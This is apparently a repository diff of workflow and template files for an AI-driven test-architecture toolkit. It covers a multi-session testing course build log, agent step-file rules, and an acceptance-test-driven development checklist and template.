- Session 1: Quick Start - TEA Lite intro, run automate workflow
- Updates progress (status: in-progress at start, completed at end)
- Teaching content: What is TEA, TEA Lite, Automate workflow, engagement models
- Role-adapted examples (QA/Dev/Lead/VP perspectives)
- 3-question quiz with validation (passing: ≥70%)
- Quiz retry option if failing (<70%)
- Generates session notes using template with all quiz results
- Updates progress file (status, score, notes_artifact, completion_percentage)
- Updates stepsCompleted array with 'step-04-session-01'
- Returns to session menu hub (step-03)
**Teaching Topics:**
- What is TEA and why it exists
- 9 workflows + 35 knowledge fragments
- Quality standards (Definition of Done)
- Risk-based testing (P0-P3 matrix)
- TEA engagement models (Lite/Solo/Integrated/Enterprise/Brownfield)
- Automate workflow conceptual overview
**TEA Resources Referenced:**
- TEA Overview, TEA Lite Quickstart, Automate Workflow docs
- Online URLs provided for further reading
**Remaining Steps:** 7 more to build
- step-04-session-02 through step-04-session-07 (6 more teaching sessions)
- step-05-completion (certificate generation)
## Step 04-Session-02 Build Complete
**Created:** 2026-01-28
**Files:** `steps-c/step-04-session-02.md` ✓
**Session:** Core Concepts (45 min) - Testing as Engineering, Risk-based testing (P0-P3), TEA Definition of Done
**Pattern:** Middle Step (Complex) with A/P/C menu, returns to hub
**Teaching:** Philosophy, risk matrix, quality standards with role-adapted examples
**Quiz:** 3 questions on P0-P3, hard waits, self-cleaning tests
**Knowledge Fragments:** test-quality.md, probability-impact.md
**Remaining:** 6 steps (sessions 03-07 + completion)
## Step 04-Session-03 Build Complete
**Created:** 2026-01-28
**Files:** `steps-c/step-04-session-03.md` ✓
**Session:** Architecture & Patterns (60 min)
**Topics:** Fixture composition, network-first patterns, data factories, step-file architecture
**Knowledge Fragments:** fixture-architecture.md, network-first.md, data-factories.md
**Quiz:** 3 questions on fixtures, network-first, step-file architecture
## Step 04-Session-04 Build Complete
**Created:** 2026-01-28
**Files:** `steps-c/step-04-session-04.md` ✓
**Session:** Test Design (60 min)
**Topics:** Test Design workflow, risk/testability assessment, coverage planning, test priorities matrix
**Knowledge Fragments:** test-levels-framework.md, test-priorities-matrix.md
**Quiz:** 3 questions on test design, risk calculation, P0 coverage
## Step 04-Session-05 Build Complete
**Created:** 2026-01-28
**Files:** `steps-c/step-04-session-05.md` ✓
**Session:** ATDD & Automate (60 min)
**Topics:** ATDD workflow (red-green TDD), Automate workflow, component TDD, API testing patterns
**Knowledge Fragments:** component-tdd.md, api-testing-patterns.md, api-request.md
**Quiz:** 3 questions on TDD red phase, ATDD vs Automate, API testing
## Step 04-Session-06 Build Complete
**Created:** 2026-01-28
**Files:** `steps-c/step-04-session-06.md` ✓
**Session:** Quality & Trace (45 min)
**Topics:** Test Review workflow (5 dimensions), Trace workflow, quality metrics
**Quiz:** 3 questions on quality dimensions, release gates, metrics
## Step 04-Session-07 Build Complete
**Created:** 2026-01-28
**Files:** `steps-c/step-04-session-07.md` ✓
**Session:** Advanced Patterns (ongoing)
**Format:** Menu-driven exploration of 35 knowledge fragments
**Categories:** Testing Patterns (9), Playwright Utils (11), Config/Governance (6), Quality Frameworks (5), Auth/Security (3)
**No Quiz:** Exploratory session, score: 100 on completion
**Special:** Repeatable, user can explore multiple fragments, returns to hub
## Step 05-Completion Build Complete
**Created:** 2026-01-28
**Files:** `steps-c/step-05-completion.md` ✓
**Type:** Final Step (no next step)
**Purpose:** Verify all 7 sessions complete, generate certificate, final progress update, celebrate
**Certificate:** Includes all session scores, skills acquired, learning artifacts, next steps
**Final:** Updates progress (certificate_generated: true, completion_date)
**No Menu:** Workflow ends here
---
## CREATE Mode Build Complete (12 Steps)
**All CREATE mode steps built:** ✓
1. step-01-init.md - Initialize with continuation detection
2. step-01b-continue.md - Resume with progress dashboard
3. step-02-assess.md - Role/experience assessment
4. step-03-session-menu.md - Session selection hub
5. step-04-session-01.md - Quick Start
6. step-04-session-02.md - Core Concepts
7. step-04-session-03.md - Architecture & Patterns
8. step-04-session-04.md - Test Design
9. step-04-session-05.md - ATDD & Automate
10. step-04-session-06.md - Quality & Trace
11. step-04-session-07.md - Advanced Patterns
12. step-05-completion.md - Certificate generation
**Remaining:**
- Data files (curriculum.yaml, role-paths.yaml, session-content-map.yaml, quiz-questions.yaml, tea-resources-index.yaml)
- EDIT mode steps (2 steps)
- VALIDATE mode steps (1 step)
---
## Data Files Build Complete
**Created:** 2026-01-28
**Files:**
1. `data/curriculum.yaml` ✓ - 7-session structure, learning paths by experience, completion requirements
2. `data/role-paths.yaml` ✓ - Role customizations for QA/Dev/Lead/VP with focus areas and teaching adaptations
3. `data/session-content-map.yaml` ✓ - Maps sessions to TEA docs, knowledge fragments, online URLs, workflows
4. `data/quiz-questions.yaml` ✓ - Question bank for sessions 1-6 (session 7 is exploratory, no quiz)
5. `data/tea-resources-index.yaml` ✓ - Comprehensive index of 32 docs + 35 knowledge fragments with GitHub links
**All 5 data files complete.**
---
## EDIT Mode Build Complete
**Created:** 2026-01-28
**Files:**
1. `steps-e/step-e-01-assess-workflow.md` ✓ - Identify what to edit, gather edit requirements
2. `steps-e/step-e-02-apply-edits.md` ✓ - Apply modifications with user approval, validate integrity
**All 2 EDIT mode steps complete.**
---
## VALIDATE Mode Build Complete
**Created:** 2026-01-28
**Files:**
1. `steps-v/step-v-01-validate.md` ✓ - Comprehensive quality validation against BMAD standards, generates validation report
**All 1 VALIDATE mode step complete.**
---
## 🏆 WORKFLOW BUILD COMPLETE
**Status:** ✅ 100% COMPLETE
**Total Files Created:** 24 files
### Foundation (6 files)
- workflow.md
- instructions.md
- checklist.md
- workflow-plan-teach-me-testing.md
- (plus 3 templates)
### Templates (3 files)
- progress-template.yaml
- session-notes-template.md
- certificate-template.md
### CREATE Mode (12 step files)
- step-01-init.md
- step-01b-continue.md
- step-02-assess.md
- step-03-session-menu.md
- step-04-session-01.md through step-04-session-07.md (7 sessions)
- step-05-completion.md
### Data Files (5 files)
- curriculum.yaml
- role-paths.yaml
- session-content-map.yaml
- quiz-questions.yaml
- tea-resources-index.yaml
### EDIT Mode (2 step files)
- step-e-01-assess-workflow.md
- step-e-02-apply-edits.md
### VALIDATE Mode (1 step file)
- step-v-01-validate.md
---
## Next Action Required
**DEPLOYMENT:** Move workflow from staging to TEA module
**Source (Staging):**
`{external-project-root}/_bmad-output/bmb-creations/workflows/teach-me-testing/`
**Target (Production):**
`{project-root}/src/workflows/testarch/bmad-teach-me-testing/`
**Command:**
```bash
cp -r {external-project-root}/_bmad-output/bmb-creations/workflows/teach-me-testing \
{project-root}/src/workflows/testarch/
```
**After deployment:**
1. Update TEA agent menu to add [TMT] Teach Me Testing
2. Test the workflow: `bmad run teach-me-testing`
3. Validate: `bmad run teach-me-testing -v`
4. Document in TEA module README
---
**Workflow Creation: COMPLETE**
**Ready for Deployment:** YES
**Validation Status:** Not yet validated (run -v mode after deployment)

View File

@@ -0,0 +1,90 @@
---
name: bmad-teach-me-testing
description: 'Teach testing progressively through structured sessions. Use when user says "lets learn testing" or "I want to study test practices"'
web_bundle: true
---
# Teach Me Testing - TEA Academy
**Goal:** Provide self-paced, multi-session learning that teaches testing fundamentals through advanced practices, scalable to entire teams without requiring instructor time.
**Your Role:** In addition to your name, communication_style, and persona, you are also a Master Test Architect and Teaching Guide collaborating with learners at all levels. This is a partnership, not a lecture. You bring expertise in TEA methodology, testing principles, and teaching pedagogy, while the learner brings their role context, experience, and learning goals. Work together to build their testing knowledge progressively.
**Meta-Context:** This workflow uses continuable architecture with state persistence across sessions. Users can pause and resume anytime, jump to any session based on experience, and learn at their own pace over 1-2 weeks.
---
## WORKFLOW ARCHITECTURE
This uses **step-file architecture** for disciplined execution:
### Core Principles
- **Micro-file Design**: Each step is a self-contained instruction file that is part of an overall workflow that must be followed exactly
- **Just-In-Time Loading**: Only the current step file is in memory - never load future step files until told to do so
- **Sequential Enforcement**: Sequence within the step files must be completed in order, no skipping or optimization allowed
- **State Tracking**: Document progress in progress file using `stepsCompleted` array and session tracking
- **Continuable Sessions**: Users can pause after any session and resume later with full context preserved
- **Tri-Modal Structure**: Separate step folders for Create (steps-c/), Edit (steps-e/), and Validate (steps-v/) modes
### Step Processing Rules
1. **READ COMPLETELY**: Always read the entire step file before taking any action
2. **FOLLOW SEQUENCE**: Execute all numbered sections in order, never deviate
3. **WAIT FOR INPUT**: If a menu is presented, halt and wait for user selection
4. **CHECK CONTINUATION**: If the step has a menu with Continue as an option, only proceed to next step when user selects 'C' (Continue)
5. **SAVE STATE**: Update `stepsCompleted` and session tracking in progress file before loading next step
6. **LOAD NEXT**: When directed, load, read entire file, then execute the next step file
### Critical Rules (NO EXCEPTIONS)
- 🛑 **NEVER** load multiple step files simultaneously
- 📖 **ALWAYS** read entire step file before execution
- 🚫 **NEVER** skip steps or optimize the sequence
- 💾 **ALWAYS** update progress file after each session completion
- 🎯 **ALWAYS** follow the exact instructions in the step file
- ⏸️ **ALWAYS** halt at menus and wait for user input
- 📋 **NEVER** create mental todo lists from future steps
-**ALWAYS** communicate in {communication_language}
---
## INITIALIZATION SEQUENCE
### 1. Configuration Loading
Load and read full config from {project-root}/\_bmad/tea/config.yaml (or module config if TEA module installed) and resolve:
- `project_name`, `user_name`, `communication_language`, `test_artifacts`
- TEA module variables: `test_artifacts` (base output folder for test-related artifacts)
### 2. Mode Determination
**Check if mode was specified in the command invocation:**
- If user invoked with "create" or "teach" or "learn" or "start" → Set mode to **create**
- If user invoked with "validate" or "review" or "-v" or "--validate" → Set mode to **validate**
- If user invoked with "edit" or "modify" or "-e" or "--edit" → Set mode to **edit**
**If mode is still unclear, ask user:**
"Welcome to TEA Academy! What would you like to do?
**[C]reate** - Start learning sessions (new or continue existing progress)
**[V]alidate** - Review workflow quality and generate validation report
**[E]dit** - Modify workflow content or structure
Please select: [C]reate / [V]alidate / [E]dit"
### 3. Route to First Step
**IF mode == create:**
Load, read the full file and then execute `./steps-c/step-01-init.md` to begin the teaching workflow.
**IF mode == validate:**
Prompt for workflow path (if validating the workflow itself): "Which workflow would you like to validate?"
Then load, read the full file and then execute `./steps-v/step-v-01-validate.md`
**IF mode == edit:**
Prompt for what to edit: "What would you like to edit in the teaching workflow?"
Then load, read the full file and then execute `./steps-e/step-e-01-assess-workflow.md`

View File

@@ -0,0 +1,6 @@
---
name: bmad-testarch-atdd
description: 'Generate failing acceptance tests using TDD cycle. Use when the user says "lets write acceptance tests" or "I want to do ATDD"'
---
Follow the instructions in [workflow.md](workflow.md).

View File

@@ -0,0 +1,371 @@
---
stepsCompleted: []
lastStep: ''
lastSaved: ''
workflowType: 'testarch-atdd'
inputDocuments: []
---
# ATDD Checklist - Epic {epic_num}, Story {story_num}: {story_title}
**Date:** {date}
**Author:** {user_name}
**Primary Test Level:** {primary_level}
---
## Story Summary
{Brief 2-3 sentence summary of the user story}
**As a** {user_role}
**I want** {feature_description}
**So that** {business_value}
---
## Acceptance Criteria
{List all testable acceptance criteria from the story}
1. {Acceptance criterion 1}
2. {Acceptance criterion 2}
3. {Acceptance criterion 3}
---
## Failing Tests Created (RED Phase)
### E2E Tests ({e2e_test_count} tests)
**File:** `{e2e_test_file_path}` ({line_count} lines)
{List each E2E test with its current status and expected failure reason}
-**Test:** {test_name}
- **Status:** RED - {failure_reason}
- **Verifies:** {what_this_test_validates}
### API Tests ({api_test_count} tests)
**File:** `{api_test_file_path}` ({line_count} lines)
{List each API test with its current status and expected failure reason}
-**Test:** {test_name}
- **Status:** RED - {failure_reason}
- **Verifies:** {what_this_test_validates}
### Component Tests ({component_test_count} tests)
**File:** `{component_test_file_path}` ({line_count} lines)
{List each component test with its current status and expected failure reason}
-**Test:** {test_name}
- **Status:** RED - {failure_reason}
- **Verifies:** {what_this_test_validates}
---
## Data Factories Created
{List all data factory files created with their exports}
### {Entity} Factory
**File:** `tests/support/factories/{entity}.factory.ts`
**Exports:**
- `create{Entity}(overrides?)` - Create single entity with optional overrides
- `create{Entity}s(count)` - Create array of entities
**Example Usage:**
```typescript
const user = createUser({ email: 'specific@example.com' });
const users = createUsers(5); // Generate 5 random users
```
---
## Fixtures Created
{List all test fixture files created with their fixture names and descriptions}
### {Feature} Fixtures
**File:** `tests/support/fixtures/{feature}.fixture.ts`
**Fixtures:**
- `{fixtureName}` - {description_of_what_fixture_provides}
- **Setup:** {what_setup_does}
- **Provides:** {what_test_receives}
- **Cleanup:** {what_cleanup_does}
**Example Usage:**
```typescript
import { test } from './fixtures/{feature}.fixture';
test('should do something', async ({ {fixtureName} }) => {
// {fixtureName} is ready to use with auto-cleanup
});
```
---
## Mock Requirements
{Document external services that need mocking and their requirements}
### {Service Name} Mock
**Endpoint:** `{HTTP_METHOD} {endpoint_url}`
**Success Response:**
```json
{
{success_response_example}
}
```
**Failure Response:**
```json
{
{failure_response_example}
}
```
**Notes:** {any_special_mock_requirements}
---
## Required data-testid Attributes
{List all data-testid attributes required in UI implementation for test stability}
### {Page or Component Name}
- `{data-testid-name}` - {description_of_element}
- `{data-testid-name}` - {description_of_element}
**Implementation Example:**
```tsx
<button data-testid="login-button">Log In</button>
<input data-testid="email-input" type="email" />
<div data-testid="error-message">{errorText}</div>
```
---
## Implementation Checklist
{Map each failing test to concrete implementation tasks that will make it pass}
### Test: {test_name_1}
**File:** `{test_file_path}`
**Tasks to make this test pass:**
- [ ] {Implementation task 1}
- [ ] {Implementation task 2}
- [ ] {Implementation task 3}
- [ ] Add required data-testid attributes: {list_of_testids}
- [ ] Run test: `{test_execution_command}`
- [ ] ✅ Test passes (green phase)
**Estimated Effort:** {effort_estimate} hours
---
### Test: {test_name_2}
**File:** `{test_file_path}`
**Tasks to make this test pass:**
- [ ] {Implementation task 1}
- [ ] {Implementation task 2}
- [ ] {Implementation task 3}
- [ ] Add required data-testid attributes: {list_of_testids}
- [ ] Run test: `{test_execution_command}`
- [ ] ✅ Test passes (green phase)
**Estimated Effort:** {effort_estimate} hours
---
## Running Tests
```bash
# Run all failing tests for this story
{test_command_all}
# Run specific test file
{test_command_specific_file}
# Run tests in headed mode (see browser)
{test_command_headed}
# Debug specific test
{test_command_debug}
# Run tests with coverage
{test_command_coverage}
```
---
## Red-Green-Refactor Workflow
### RED Phase (Complete) ✅
**TEA Agent Responsibilities:**
- ✅ All tests written and failing
- ✅ Fixtures and factories created with auto-cleanup
- ✅ Mock requirements documented
- ✅ data-testid requirements listed
- ✅ Implementation checklist created
**Verification:**
- All tests run and fail as expected
- Failure messages are clear and actionable
- Tests fail due to missing implementation, not test bugs
---
### GREEN Phase (DEV Team - Next Steps)
**DEV Agent Responsibilities:**
1. **Pick one failing test** from implementation checklist (start with highest priority)
2. **Read the test** to understand expected behavior
3. **Implement minimal code** to make that specific test pass
4. **Run the test** to verify it now passes (green)
5. **Check off the task** in implementation checklist
6. **Move to next test** and repeat
**Key Principles:**
- One test at a time (don't try to fix all at once)
- Minimal implementation (don't over-engineer)
- Run tests frequently (immediate feedback)
- Use implementation checklist as roadmap
**Progress Tracking:**
- Check off tasks as you complete them
- Share progress in daily standup
---
### REFACTOR Phase (DEV Team - After All Tests Pass)
**DEV Agent Responsibilities:**
1. **Verify all tests pass** (green phase complete)
2. **Review code for quality** (readability, maintainability, performance)
3. **Extract duplications** (DRY principle)
4. **Optimize performance** (if needed)
5. **Ensure tests still pass** after each refactor
6. **Update documentation** (if API contracts change)
**Key Principles:**
- Tests provide safety net (refactor with confidence)
- Make small refactors (easier to debug if tests fail)
- Run tests after each change
- Don't change test behavior (only implementation)
**Completion:**
- All tests pass
- Code quality meets team standards
- No duplications or code smells
- Ready for code review and story approval
---
## Next Steps
1. **Share this checklist and failing tests** with the dev workflow (manual handoff)
2. **Review this checklist** with team in standup or planning
3. **Run failing tests** to confirm RED phase: `{test_command_all}`
4. **Begin implementation** using implementation checklist as guide
5. **Work one test at a time** (red → green for each)
6. **Share progress** in daily standup
7. **When all tests pass**, refactor code for quality
8. **When refactoring complete**, manually update story status to 'done' in sprint-status.yaml
---
## Knowledge Base References Applied
This ATDD workflow consulted the following knowledge fragments:
- **fixture-architecture.md** - Test fixture patterns with setup/teardown and auto-cleanup using Playwright's `test.extend()`
- **data-factories.md** - Factory patterns using `@faker-js/faker` for random test data generation with overrides support
- **component-tdd.md** - Component test strategies using Playwright Component Testing
- **network-first.md** - Route interception patterns (intercept BEFORE navigation to prevent race conditions)
- **test-quality.md** - Test design principles (Given-When-Then, one assertion per test, determinism, isolation)
- **test-levels-framework.md** - Test level selection framework (E2E vs API vs Component vs Unit)
See `tea-index.csv` for complete knowledge fragment mapping.
---
## Test Execution Evidence
### Initial Test Run (RED Phase Verification)
**Command:** `{test_command_all}`
**Results:**
```
{paste_test_run_output_showing_all_tests_failing}
```
**Summary:**
- Total tests: {total_test_count}
- Passing: 0 (expected)
- Failing: {total_test_count} (expected)
- Status: ✅ RED phase verified
**Expected Failure Messages:**
{list_expected_failure_messages_for_each_test}
---
## Notes
{Any additional notes, context, or special considerations for this story}
- {Note 1}
- {Note 2}
- {Note 3}
---
## Contact
**Questions or Issues?**
- Ask in team standup
- Tag @{tea_agent_username} in Slack/Discord
- Refer to `./bmm/docs/tea-README.md` for workflow documentation
- Consult `./bmm/testarch/knowledge` for testing best practices
---
**Generated by BMad TEA Agent** - {date}

View File

@@ -0,0 +1 @@
type: skill

View File

@@ -0,0 +1,374 @@
# ATDD Workflow Validation Checklist
Use this checklist to validate that the ATDD workflow has been executed correctly and all deliverables meet quality standards.
## Prerequisites
Before starting this workflow, verify:
- [ ] Story approved with clear acceptance criteria (AC must be testable)
- [ ] Development sandbox/environment ready
- [ ] Framework scaffolding exists (run `framework` workflow if missing)
- [ ] Test framework configuration available (playwright.config.ts or cypress.config.ts)
- [ ] Package.json has test dependencies installed (Playwright or Cypress)
**Halt if missing:** Framework scaffolding or story acceptance criteria
---
## Step 1: Story Context and Requirements
- [ ] Story markdown file loaded and parsed successfully
- [ ] All acceptance criteria identified and extracted
- [ ] Affected systems and components identified
- [ ] Technical constraints documented
- [ ] Framework configuration loaded (playwright.config.ts or cypress.config.ts)
- [ ] Test directory structure identified from config
- [ ] Existing fixture patterns reviewed for consistency
- [ ] Similar test patterns searched and found in `{test_dir}`
- [ ] Knowledge base fragments loaded:
- [ ] `fixture-architecture.md`
- [ ] `data-factories.md`
- [ ] `component-tdd.md`
- [ ] `network-first.md`
- [ ] `test-quality.md`
---
## Step 2: Test Level Selection and Strategy
- [ ] Each acceptance criterion analyzed for appropriate test level
- [ ] Test level selection framework applied (E2E vs API vs Component vs Unit)
- [ ] E2E tests: Critical user journeys and multi-system integration identified
- [ ] API tests: Business logic and service contracts identified
- [ ] Component tests: UI component behavior and interactions identified
- [ ] Unit tests: Pure logic and edge cases identified (if applicable)
- [ ] Duplicate coverage avoided (same behavior not tested at multiple levels unnecessarily)
- [ ] Tests prioritized using P0-P3 framework (if test-design document exists)
- [ ] Primary test level set in `primary_level` variable (typically E2E or API)
- [ ] Test levels documented in ATDD checklist
---
## Step 3: Failing Tests Generated
### Test File Structure Created
- [ ] Test files organized in appropriate directories:
- [ ] `tests/e2e/` for end-to-end tests
- [ ] `tests/api/` for API tests
- [ ] `tests/component/` for component tests
- [ ] `tests/support/` for infrastructure (fixtures, factories, helpers)
### E2E Tests (If Applicable)
- [ ] E2E test files created in `tests/e2e/`
- [ ] All tests follow Given-When-Then format
- [ ] Tests use `data-testid` selectors (not CSS classes or fragile selectors)
- [ ] One assertion per test (atomic test design)
- [ ] No hard waits or sleeps (explicit waits only)
- [ ] Network-first pattern applied (route interception BEFORE navigation)
- [ ] Tests fail initially (RED phase verified by local test run)
- [ ] Failure messages are clear and actionable
### API Tests (If Applicable)
- [ ] API test files created in `tests/api/`
- [ ] Tests follow Given-When-Then format
- [ ] API contracts validated (request/response structure)
- [ ] HTTP status codes verified
- [ ] Response body validation includes all required fields
- [ ] Error cases tested (400, 401, 403, 404, 500)
- [ ] Tests fail initially (RED phase verified)
### Component Tests (If Applicable)
- [ ] Component test files created in `tests/component/`
- [ ] Tests follow Given-When-Then format
- [ ] Component mounting works correctly
- [ ] Interaction testing covers user actions (click, hover, keyboard)
- [ ] State management within component validated
- [ ] Props and events tested
- [ ] Tests fail initially (RED phase verified)
### Test Quality Validation
- [ ] All tests use Given-When-Then structure with clear comments
- [ ] All tests have descriptive names explaining what they test
- [ ] No duplicate tests (same behavior tested multiple times)
- [ ] No flaky patterns (race conditions, timing issues)
- [ ] No test interdependencies (tests can run in any order)
- [ ] Tests are deterministic (same input always produces same result)
---
## Step 4: Data Infrastructure Built
### Data Factories Created
- [ ] Factory files created in `tests/support/factories/`
- [ ] All factories use `@faker-js/faker` for random data generation (no hardcoded values)
- [ ] Factories support overrides for specific test scenarios
- [ ] Factories generate complete valid objects matching API contracts
- [ ] Helper functions for bulk creation provided (e.g., `createUsers(count)`)
- [ ] Factory exports are properly typed (TypeScript)
### Test Fixtures Created
- [ ] Fixture files created in `tests/support/fixtures/`
- [ ] All fixtures use Playwright's `test.extend()` pattern
- [ ] Fixtures have setup phase (arrange test preconditions)
- [ ] Fixtures provide data to tests via `await use(data)`
- [ ] Fixtures have teardown phase with auto-cleanup (delete created data)
- [ ] Fixtures are composable (can use other fixtures if needed)
- [ ] Fixtures are isolated (each test gets fresh data)
- [ ] Fixtures are type-safe (TypeScript types defined)
### Mock Requirements Documented
- [ ] External service mocking requirements identified
- [ ] Mock endpoints documented with URLs and methods
- [ ] Success response examples provided
- [ ] Failure response examples provided
- [ ] Mock requirements documented in ATDD checklist for DEV team
### data-testid Requirements Listed
- [ ] All required data-testid attributes identified from E2E tests
- [ ] data-testid list organized by page or component
- [ ] Each data-testid has clear description of element it targets
- [ ] data-testid list included in ATDD checklist for DEV team
---
## Step 5: Implementation Checklist Created
- [ ] Implementation checklist created with clear structure
- [ ] Each failing test mapped to concrete implementation tasks
- [ ] Tasks include:
- [ ] Route/component creation
- [ ] Business logic implementation
- [ ] API integration
- [ ] data-testid attribute additions
- [ ] Error handling
- [ ] Test execution command
- [ ] Completion checkbox
- [ ] Red-Green-Refactor workflow documented in checklist
- [ ] RED phase marked as complete (TEA responsibility)
- [ ] GREEN phase tasks listed for DEV team
- [ ] REFACTOR phase guidance provided
- [ ] Execution commands provided:
- [ ] Run all tests: `npm run test:e2e`
- [ ] Run specific test file
- [ ] Run in headed mode
- [ ] Debug specific test
- [ ] Estimated effort included (hours or story points)
---
## Step 6: Deliverables Generated
### ATDD Checklist Document Created
- [ ] Output file created at `{test_artifacts}/atdd-checklist-{story_id}.md`
- [ ] Document follows template structure from `atdd-checklist-template.md`
- [ ] Document includes all required sections:
- [ ] Story summary
- [ ] Acceptance criteria breakdown
- [ ] Failing tests created (paths and line counts)
- [ ] Data factories created
- [ ] Fixtures created
- [ ] Mock requirements
- [ ] Required data-testid attributes
- [ ] Implementation checklist
- [ ] Red-green-refactor workflow
- [ ] Execution commands
- [ ] Next steps for DEV team
- [ ] Output shared with DEV workflow (manual handoff; not auto-consumed)
### All Tests Verified to Fail (RED Phase)
- [ ] Full test suite run locally before finalizing
- [ ] All tests fail as expected (RED phase confirmed)
- [ ] No tests passing before implementation (if passing, test is invalid)
- [ ] Failure messages documented in ATDD checklist
- [ ] Failures are due to missing implementation, not test bugs
- [ ] Test run output captured for reference
### Summary Provided
- [ ] Summary includes:
- [ ] Story ID
- [ ] Primary test level
- [ ] Test counts (E2E, API, Component)
- [ ] Test file paths
- [ ] Factory count
- [ ] Fixture count
- [ ] Mock requirements count
- [ ] data-testid count
- [ ] Implementation task count
- [ ] Estimated effort
- [ ] Next steps for DEV team
- [ ] Output file path
- [ ] Knowledge base references applied
---
## Quality Checks
### Test Design Quality
- [ ] Tests are readable (clear Given-When-Then structure)
- [ ] Tests are maintainable (use factories and fixtures, not hardcoded data)
- [ ] Tests are isolated (no shared state between tests)
- [ ] Tests are deterministic (no race conditions or flaky patterns)
- [ ] Tests are atomic (one assertion per test)
- [ ] Tests are fast (no unnecessary waits or delays)
### Knowledge Base Integration
- [ ] fixture-architecture.md patterns applied to all fixtures
- [ ] data-factories.md patterns applied to all factories
- [ ] network-first.md patterns applied to E2E tests with network requests
- [ ] component-tdd.md patterns applied to component tests
- [ ] test-quality.md principles applied to all test design
### Code Quality
- [ ] All TypeScript types are correct and complete
- [ ] No linting errors in generated test files
- [ ] Consistent naming conventions followed
- [ ] Imports are organized and correct
- [ ] Code follows project style guide
---
## Integration Points
### With DEV Agent
- [ ] ATDD checklist provides clear implementation guidance
- [ ] Implementation tasks are granular and actionable
- [ ] data-testid requirements are complete and clear
- [ ] Mock requirements include all necessary details
- [ ] Execution commands work correctly
### With Story Workflow
- [ ] Story ID correctly referenced in output files
- [ ] Acceptance criteria from story accurately reflected in tests
- [ ] Technical constraints from story considered in test design
### With Framework Workflow
- [ ] Test framework configuration correctly detected and used
- [ ] Directory structure matches framework setup
- [ ] Fixtures and helpers follow established patterns
- [ ] Naming conventions consistent with framework standards
### With test-design Workflow (If Available)
- [ ] P0 scenarios from test-design prioritized in ATDD
- [ ] Risk assessment from test-design considered in test coverage
- [ ] Coverage strategy from test-design aligned with ATDD tests
---
## Completion Criteria
All of the following must be true before marking this workflow as complete:
- [ ] **Story acceptance criteria analyzed** and mapped to appropriate test levels
- [ ] **Failing tests created** at all appropriate levels (E2E, API, Component)
- [ ] **Given-When-Then format** used consistently across all tests
- [ ] **RED phase verified** by local test run (all tests failing as expected)
- [ ] **Network-first pattern** applied to E2E tests with network requests
- [ ] **Data factories created** using faker (no hardcoded test data)
- [ ] **Fixtures created** with auto-cleanup in teardown
- [ ] **Mock requirements documented** for external services
- [ ] **data-testid attributes listed** for DEV team
- [ ] **Implementation checklist created** mapping tests to code tasks
- [ ] **Red-green-refactor workflow documented** in ATDD checklist
- [ ] **Execution commands provided** and verified to work
- [ ] **ATDD checklist document created** and saved to correct location
- [ ] **Output file formatted correctly** using template structure
- [ ] **Knowledge base references applied** and documented in summary
- [ ] **No test quality issues** (flaky patterns, race conditions, hardcoded data)
---
## Common Issues and Resolutions
### Issue: Tests pass before implementation
**Problem:** A test passes even though no implementation code exists yet.
**Resolution:**
- Review test to ensure it's testing actual behavior, not mocked/stubbed behavior
- Check if test is accidentally using existing functionality
- Verify test assertions are correct and meaningful
- Rewrite test to fail until implementation is complete
### Issue: Network-first pattern not applied
**Problem:** Route interception happens after navigation, causing race conditions.
**Resolution:**
- Move `await page.route()` calls BEFORE `await page.goto()`
- Review `network-first.md` knowledge fragment
- Update all E2E tests to follow network-first pattern
### Issue: Hardcoded test data in tests
**Problem:** Tests use hardcoded strings/numbers instead of factories.
**Resolution:**
- Replace all hardcoded data with factory function calls
- Use `faker` for all random data generation
- Update data-factories to support all required test scenarios
### Issue: Fixtures missing auto-cleanup
**Problem:** Fixtures create data but don't clean it up in teardown.
**Resolution:**
- Add cleanup logic after `await use(data)` in fixture
- Call deletion/cleanup functions in teardown
- Verify cleanup works by checking database/storage after test run
### Issue: Tests have multiple assertions
**Problem:** Tests verify multiple behaviors in single test (not atomic).
**Resolution:**
- Split into separate tests (one assertion per test)
- Each test should verify exactly one behavior
- Use descriptive test names to clarify what each test verifies
### Issue: Tests depend on execution order
**Problem:** Tests fail when run in isolation or different order.
**Resolution:**
- Remove shared state between tests
- Each test should create its own test data
- Use fixtures for consistent setup across tests
- Verify tests can run with `.only` flag
---
## Notes for TEA Agent
- **Preflight halt is critical:** Do not proceed if story has no acceptance criteria or framework is missing
- **RED phase verification is mandatory:** Tests must fail before sharing with DEV team
- **Network-first pattern:** Route interception BEFORE navigation prevents race conditions
- **One assertion per test:** Atomic tests provide clear failure diagnosis
- **Auto-cleanup is non-negotiable:** Every fixture must clean up data in teardown
- **Use knowledge base:** Load relevant fragments (fixture-architecture, data-factories, network-first, component-tdd, test-quality) for guidance
- **Share with DEV agent:** ATDD checklist provides implementation roadmap from red to green

View File

@@ -0,0 +1,45 @@
<!-- Powered by BMAD-CORE™ -->
# Acceptance Test-Driven Development (ATDD)
**Workflow ID**: `_bmad/tea/testarch/bmad-testarch-atdd`
**Version**: 5.0 (Step-File Architecture)
---
## Overview
Generates **failing acceptance tests** before implementation (TDD red phase), plus an implementation checklist. Produces tests at appropriate levels (E2E/API/Component) with supporting fixtures and helpers.
---
## WORKFLOW ARCHITECTURE
This workflow uses **step-file architecture**:
- **Micro-file Design**: Each step is self-contained
- **JIT Loading**: Only the current step file is in memory
- **Sequential Enforcement**: Execute steps in order without skipping
---
## INITIALIZATION SEQUENCE
### 1. Configuration Loading
From `workflow.yaml`, resolve:
- `config_source`, `test_artifacts`, `user_name`, `communication_language`, `document_output_language`, `date`
- `test_dir`
### 2. First Step
Load, read completely, and execute:
`./steps-c/step-01-preflight-and-context.md`
### 3. Resume Support
If the user selects **Resume** mode, load, read completely, and execute:
`./steps-c/step-01b-resume.md`
This checks the output document for progress tracking frontmatter and routes to the next incomplete step.

View File

@@ -0,0 +1,226 @@
---
name: 'step-01-preflight-and-context'
description: 'Verify prerequisites and load story, framework, and knowledge base'
outputFile: '{test_artifacts}/atdd-checklist-{story_id}.md'
nextStepFile: './step-02-generation-mode.md'
knowledgeIndex: '{project-root}/_bmad/tea/testarch/tea-index.csv'
---
# Step 1: Preflight & Context Loading
## STEP GOAL
Verify prerequisites and load all required inputs before generating failing tests.
## MANDATORY EXECUTION RULES
- 📖 Read the entire step file before acting
- ✅ Speak in `{communication_language}`
- 🚫 Halt if requirements are missing
---
## EXECUTION PROTOCOLS:
- 🎯 Follow the MANDATORY SEQUENCE exactly
- 💾 Record outputs before proceeding
- 📖 Load the next step only when instructed
## CONTEXT BOUNDARIES:
- Available context: config, loaded artifacts, and knowledge fragments
- Focus: this step's goal only
- Limits: do not execute future steps
- Dependencies: prior steps' outputs (if any)
## MANDATORY SEQUENCE
